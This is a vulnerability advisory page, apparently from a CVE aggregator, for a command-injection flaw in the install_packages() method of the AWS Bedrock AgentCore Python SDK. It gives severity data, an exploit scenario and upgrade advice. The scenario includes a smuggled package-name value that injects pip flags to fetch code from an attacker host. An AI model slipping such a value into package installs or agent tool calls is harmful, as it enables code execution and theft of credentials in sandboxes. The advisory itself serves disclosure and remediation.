EUVD-2026-37802
GHSA-6rfw-mq36-jm8h
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable SDK endpoint, low complexity, requires authenticated low-priv user (PR:L) and a second user to trigger install (UI:R); sandbox-bounded RCE yields high C/I but no availability impact and no scope change.
Primary rating from Vendor (AMZN).
CVSS VectorVendor: AMZN
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Improper neutralization of argument delimiters in the install_packages() method in AWS Bedrock AgentCore Python SDK versions >= 1.1.3 and < 1.6.1 might allow a remote authenticated user to execute arbitrary commands within the Code Interpreter sandbox via crafted package name arguments.
To mitigate this issue, users should upgrade to version 1.6.1.
AnalysisAI
Command injection in the AWS Bedrock AgentCore Python SDK (versions >= 1.1.3, < 1.6.1) allows remote authenticated users to execute arbitrary commands within the Code Interpreter sandbox by supplying crafted package name arguments to the install_packages() method. The flaw stems from improper neutralization of argument delimiters (CWE-88), letting attacker-controlled strings break out of the intended pip-install argument context. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) a deployment running AWS Bedrock AgentCore Python SDK >= 1.1.3 and < 1.6.1 with the Code Interpreter sandbox feature enabled, (2) an authenticated low-privilege user (PR:L) able to reach an interface that ultimately calls install_packages() with attacker-influenced package name strings, and (3) user interaction (UI:A) - a second party (typically the operator or an autonomous agent) must actually trigger the install_packages() invocation on the attacker-supplied input. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N) and 8.4 score reflect remote network reach with low complexity but require low-level authentication and active user interaction, and impact is bounded to the vulnerable system (SC:N/SI:N/SA:N) - consistent with code executing inside an isolated Code Interpreter sandbox rather than the host or AWS control plane. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privileged access to an agent that wraps the AgentCore Code Interpreter submits a prompt or API call whose package list contains a crafted entry like 'requests --index-url http://attacker/ --no-deps malicious-pkg', causing an operator-triggered install_packages() call to fetch and execute attacker-controlled code inside the sandbox. From there the attacker runs arbitrary commands as the sandbox user, exfiltrating any data, credentials, or session tokens reachable from that environment. … |
| Remediation | Vendor-released patch: 1.6.1 - upgrade the bedrock-agentcore Python package to 1.6.1 or later (pip install --upgrade 'bedrock-agentcore>=1.6.1') and rebuild any container images, Lambda layers, or agent runtimes that bundle the SDK, as documented in the AWS security bulletin https://aws.amazon.com/security/security-bulletins/2026-044-aws/ and the PyPI release at https://pypi.org/project/bedrock-agentcore/1.6.1/. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all AWS Bedrock deployments to identify systems using affected versions (1.1.3-1.6.0) and assess whether they process untrusted user input. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Share
External POC / Exploit Code
Leaving vuln.today